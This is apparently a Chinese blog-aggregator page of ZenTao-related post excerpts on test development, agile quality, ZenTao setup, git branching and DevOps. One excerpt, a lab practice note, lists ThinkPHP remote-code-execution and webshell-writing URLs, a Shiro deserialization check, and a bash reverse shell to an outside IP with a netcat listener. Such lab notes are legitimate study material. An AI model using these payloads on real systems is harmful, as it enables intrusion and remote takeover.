禅道

测试开发这一年

心不动则不痛 提交于 2021-02-17 09:42:40
上一期我聊到2018年是我做测试开发的一年,然后,有不少测试同学问测试开发做具体在做什么?根据近一年的工作,再次聊聊这个岗位。 我以前的文章曾经对测试开发做过简单的一个划分: 测试工具、测试平台开发:这类开发工作主要服务于“测试”相关业务,本质与开发公司其它产品业务并没有什么不同。 自动化测试开发:这类工作主要围绕公司的产品开发自动化测试脚本,主要包括 UI自动化测试、接口自动化测试和单元测试等。 测试脚本的开发:这类工作主要是服务于一般测试工作,提高测试效率,例如通过测试脚本生成测试数据、抓取页面数据进行对比等。 通过这一年团队的发展和自我定位,我对测试开发有了不同的看法。 大多数测试人员的发展轨迹是这样(包含1、2、3): 1、软件测试工程师: 主要以功能测试为主。 2、自动化测试工程师/性能测试工程师/高级测试工程师: 我认为作为一个比较有经验的测试,掌握一定的编程技术、自动化测试技术、性能测试工具几乎是必备的。所以,其实,拥有公司title为“自动化测试工程师”和“性能测试工程师”的测试人员并不多。 自动化和性能测试是多年来一直学习的技术,但少有测试能够“精通”,其实,我觉得本质上原因还是大家编程能力太弱(我没说测试人员普遍编程能力弱就一定比开发low),又妄想通过学习一两个“先进”的测试工具来弥补这两块不足,但编程能力弱真的影响你对自动化和性能的理解深度。 例如

如何提升团队速率、保证产品质量和提升团队积极性?

橙三吉。 提交于 2021-02-17 02:21:13
背景 团队采用敏捷开发已经一年时间了,刚开始半年随着团队成员之间的磨合以及技术的熟悉,开发的效率确实逐渐在提升,所以自认为团队上路了只会原来越好,谁想到后面团队没有进步,反而退步得厉害。 一、何时发现产品质量这个问题? 在指导对接监管平台的过程中突然发现产品质量已经下降得如此厉害,随便列出几项: 1)监管平台导入频次、用法、剂型、诊断等字典数据都没有验证一下程序,后面一跑流程很多功能都用不了。 2)上传到监管平台的科室、医生、病人、病历、处方、诊断都没有关联起来,没有人提出这个问题。 3)产品封版迭代中,尽然一下冒出140多个BUG。 总结:产品一定把关故事质量,SM把关技术质量,一起合作细化故事的验收条件。测试用例一定要覆盖全面。 二、分析造成这种现象的原因? 1、团队产品质量下降的过程 1)每个人都有偷懒的心态,能简单完成,肯定不会花太多时间去深入思考。这时候如果SM没有及时发现并纠正过来,这时候就出现一个破窗户,一段时间下来基本上整个街道的窗户都会出现破损。大家就这样养成了偷工减料的习惯。 2)本来测试是把控质量这道关,但是随着这种低级的BUG越来越多,大量占用了他的时间,那他肯定也就慢慢降低了对质量的要求。 3)然后就团队一起拿这个质量来应付产品经理,产品经理也没有办法了。 2、初步分析解决方案 1)靠外部力量来改变或者加强监督,不是好办法,最好的办法自己找到自己的问题

CentOs搭建php环境并安装禅道

不羁岁月 提交于 2021-02-10 08:02:15
1、首先查看是否安装了Apache,mysql,php 查看apache版本信息:httpd -v;查看php版本信息:php -v;查看mysql版本信息:mysql -V。参考页面 http://nan1hao.blog.51cto.com/753570/602610/ 2、安装apahce, php, mysql, 以及php连接mysql库组件: yum -y install httpd php mysql mysql-server php-mysql;(如果提示找不到,先更新安装媒体库:yum update) 3、设置mysql账号及相关操作 启动mysql:service mysqld start; 设置mysql账号:mysql -u root ; 命令成功执行后将进入到mysql命令提示符下: mysql> 设置从本地主机登录的root帐号密码: set password for root@localhost=password('your password'); 允许root远程登陆: 1)本机登陆mysql:mysql -u root -p (-p一定要有);改变数据库:use mysql;     2)从所有主机:grant all privileges on *.* to root@"% " identified by "password" with

【禅道】bug管理篇

一曲冷凌霜 提交于 2021-02-10 05:13:07
出自:http://www.zentao.net/book/zentaopmshelp/64.html 分配给研发人员要处理的bug时,怎么通知他们呢?发邮件?http://www.zentao.net/book/zentaopmshelp/96.html 简介:本文讲述如何使用禅道来进行bug的跟踪和管理。 一、创建产品 二、提出bug 三、解决bug 四、关闭bug 上篇文章讲述了禅道的简使用方法之一,只使用禅道来进行项目任务管理。禅道的测试功能也可以独立出来单独使用。这种方式很适合于测试团队使用。禅道里面的bug基本流程是:测试人员提出bug -> 开发人员解决bug -> 测试人员验证关闭。 下面我们来演示下具体的使用方法。 一、创建产品 使用 bug管理 功能之前,需要先创建产品。禅道里面设计的理念是bug主要附属在产品概念下面的,后面我们会详细讲述产品和项目之间的关系。 新增产品的时候,需要设置产品的名称、代码,几个负责人信息。 二、提出bug 有了产品之后,我们就可以来创建bug了。 在创建bug的时候,必填的字段是:影响版本,bug标题,重现步骤,所属模块。 所属项目,相关产品,需求可以忽略。 创建bug的时候,可以直接指派给某一个人员去处理。如果不清楚的话,可以保留为空。 三、解决bug 当一个bug指派给某一位研发人员之后,他可以来验证解决这个bug。 2.1

centos搭建bug管理系统(禅道)

我只是一个虾纸丫 提交于 2021-02-10 05:12:50
1.下载禅道安装包 http://dl.cnezsoft.com/zentao/9.7/ZenTaoPMS.9.7.stable.zbox_64.tar.gz 2.拷贝并解压安装包到centos的/opt/目录下 tar -zxvf ZenTaoPMS.9.7.stable.zbox_64.tar.gz -C /opt 3.设置指向mysql ./zbox -mp 3307 4.设置apche端口,即禅道启动端口 ./zbox -ap 90 5.服务启动 停止命令 /opt/zbox/zbox start #命令开启Apache和Mysql。 /opt/zbox/zbox stop #命令停止Apache和Mysql。 /opt/zbox/zbox restart #命令重启Apache和Mysql。 6.添加用户 修改/auth/users 文件 reload adduser.sh 来源: oschina 链接: https://my.oschina.net/u/435726/blog/2250739

【来自BMH的面试靶场】2021-02-07小记录

我只是一个虾纸丫 提交于 2021-02-09 11:02:46
一 Thinkphp-5.1.30 /index.php?s=index/think\app/invokefunction&function=call _user_ func_array&vars[ 0 ]=system&vars[ 1 ][ ]=whoami /index.php/? s = index /\think\template\driver\file/ write &cacheFile=kanhayou.php&content=%3C?php%C2%A0@eval($_POST[kanhayou]);?%3E 二 Shiro-反序列化 出网验证: https: //github.com/sv3nbeast/ShiroScan python3 shiro_rce.py http: //xx.xx.70.24:40817 "ping cqehyd.dnslog.cn" 准备工作: bash -i >& /dev/tcp/123.123.151.3/8003 0>&1 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTUxLjMvODA123123}|{base64,-d}|{bash,-i} nc -lvvp 8003 利用: https: //github.com/insightglacier/Shiro

测试管理工具--禅道

穿精又带淫゛_ 提交于 2021-02-08 14:42:08
测试管理工具--禅道 版本 8.2.5 一、软件测试相关工具   1 、测试管理工具     禅道 ( 开源 免费 )     QC(Quality Center)     Mantis( 螳螂 )     Bugzilla BugFree     Jira( 鸡爪子 )   2 、功能自动化工具     QTP-------UFT     (QuickTestProfessional) HP VBS     Selenium------Java   3 、性能自动化工具     LR(LoadRunner) HP     类 C     Jmeter   4 、白盒测试工具     JUnit JTest     C/C++Test 二、禅道简介   禅道是由青岛易软天创网络科技有限公司研发,是一款 B/S 结构,国产开源免费、可以跨平台 ( 操作系统 ) 、安装简单的项目管理软件,主要包括 : 组织管理、后台管理、产品管理、项目管理、测试管理于一体的项目管理工具。 三、禅道的搭建和调试   ZenTao P M S   禅道 项目 管理 系统   步骤 :     禅道官网,下载新版禅道安装包     将禅道软件安装包,拷贝到某个磁盘根目录下 (C:\ D:\)     双击进行安装 (XP 系统 ) ,如果是 Win7 及 win7 以上系统,右键单击,选择“以管理员身份运行

git分支流程

好久不见. 提交于 2021-02-02 12:24:53
初始化会有 mater 分支。 1. 开发阶段 现在需要进行 1.0.0 版本业务开发,则从 mater 拉取 dev-1.0.0 分支,个人从该分支拉取自己的分支,命名格式为: dev- 姓名 - 业务版本号,如: ( 1 )张三:从 dev-1.0.0 分支拉取 dev-zs-1.0.0 分支; ( 2 )李四:从 dev-1.0.0 分支拉取 dev-ls-1.0.0 分支。 2 . 提测阶段 张三和李四将自己的代码合并到 dev-1.0.0 分支,再由组长从 dev-1.0.0 分支拉取 test 分支并发包,发提测邮件并通知测试同事测试,并抄送内部人员。 3 . 预发布阶段 测试同事测试通过了,由组长将 test 分支拉取 release 分支并发包,发预发布邮件并通知产品同事测试,并抄送内部人员。 4. 正式发包阶段 产品同事验收通过了,由组长将 release 分支合并到 master 分支,打版本 tag 并发包,发正式发布邮件并通知验收方同事测试,并抄送所有人。 问题一:如果在提测阶段的时候张三和李四在禅道都有 bug 怎么办? 个人将 dev-1.0.0 分支的最新代码合并到自己的个人分支,如张三的 dev-zs-1.0.0 分支。 bug 修复完后,在禅道将 bug 状态点击确认“已解决”,将代码合并到 dev-1.0.0 分支,组长在固定时间(如每天晚上

2020年中国DevOps应用发展研究——艾瑞咨询报告总结

风格不统一 提交于 2021-01-20 13:16:58
2020年12月,艾瑞咨询发布 《DevOps应用发展研究》 ,对业内企业进行调研,梳理国内DevOps历史脉络、发展现状及展望,内容涵盖DevOps理念解析及行业应用、中国DevOps市场发展状况和中国DevOps应用发展展望。 DevOps概述 DevOps企业实践 :由于DevOps的实践远不仅限于安装软件工具,其在企业内部的落地实践需要经历复杂的转型过程。我们认为DevOps的成功实践需要企业工程解耦化、流程协同化和管理颗粒化的改变,要走过从资源整合到自助服务的五个步骤。在这个过程中,企业和团队需要更多地关注管理方式和文化适应性,引入专业机构的咨询和培训服务能够有效减少DevOps转型过程中的摩擦成本。 DevOps市场现状 :早在云计算诞生之前DevOps已然存在,长期以来DevOps实践使用的软件工具以免费的开源软件为主。尽管如此,一体化的DevOps平台正在成为全球范围内的DevOps发展趋势,国内企业通常采用一体化平台+开源软件的方式构建自己的DevOps体系。2020年国内DevOps服务的市场规模达到27亿元,未来5年的CAGR将超过25%,市场发展前景良好。 DevOps应用展望 :DevOps面对的企业文化上的敏态转型以及其所使用的不断优化的开发/运维软件都决定了DevOps不会成为一种故步自封的工具,云原生更是为DevOps大展身手提供了广阔的平台。

第六周作业

眉间皱痕 提交于 2021-01-19 10:13:30
1. 计划说明 1.1 产品选择 本小组选择的A产品为 百词斩 ,B产品为 扇贝单词 1.2 完成进度测试表 项目 内容说明 预估耗时 **(分钟)** 实际耗时 **(分钟)** Planning 计划 20 10 · Estimate 估计这个任务需要多少时间 10 10 Testing Design 测试设计 200 180 · Analysis 需求和测试需求分析 20 30 · Design Test Cases 设计测试用例 150 150 Testing Environment 搭建测试环境(安装测试工具、管理工具等相关运行和支撑软件) 10 30 Testing Implementation 测试实施 20 20 · Test 执行测试 20 30 Reporting 报告 120 150 · Test Report 测试报告 120 100 · Postmortem & Process Improvement Plan 事后总结, 并提出过程改进计划 20 10 合 计 710 720 2. 需求说明 2.1 功能模块划分 2.2 本人负责模块 我所负责测试的功能模块是商城购物和课程购买功能模块 3. 测试说明 3.1 测试用例设计思路 我使用了百词斩和扇贝单词一段时间,发现在商城购物这个模块中,两个产品同时具有的功能就是课程购买与周边商城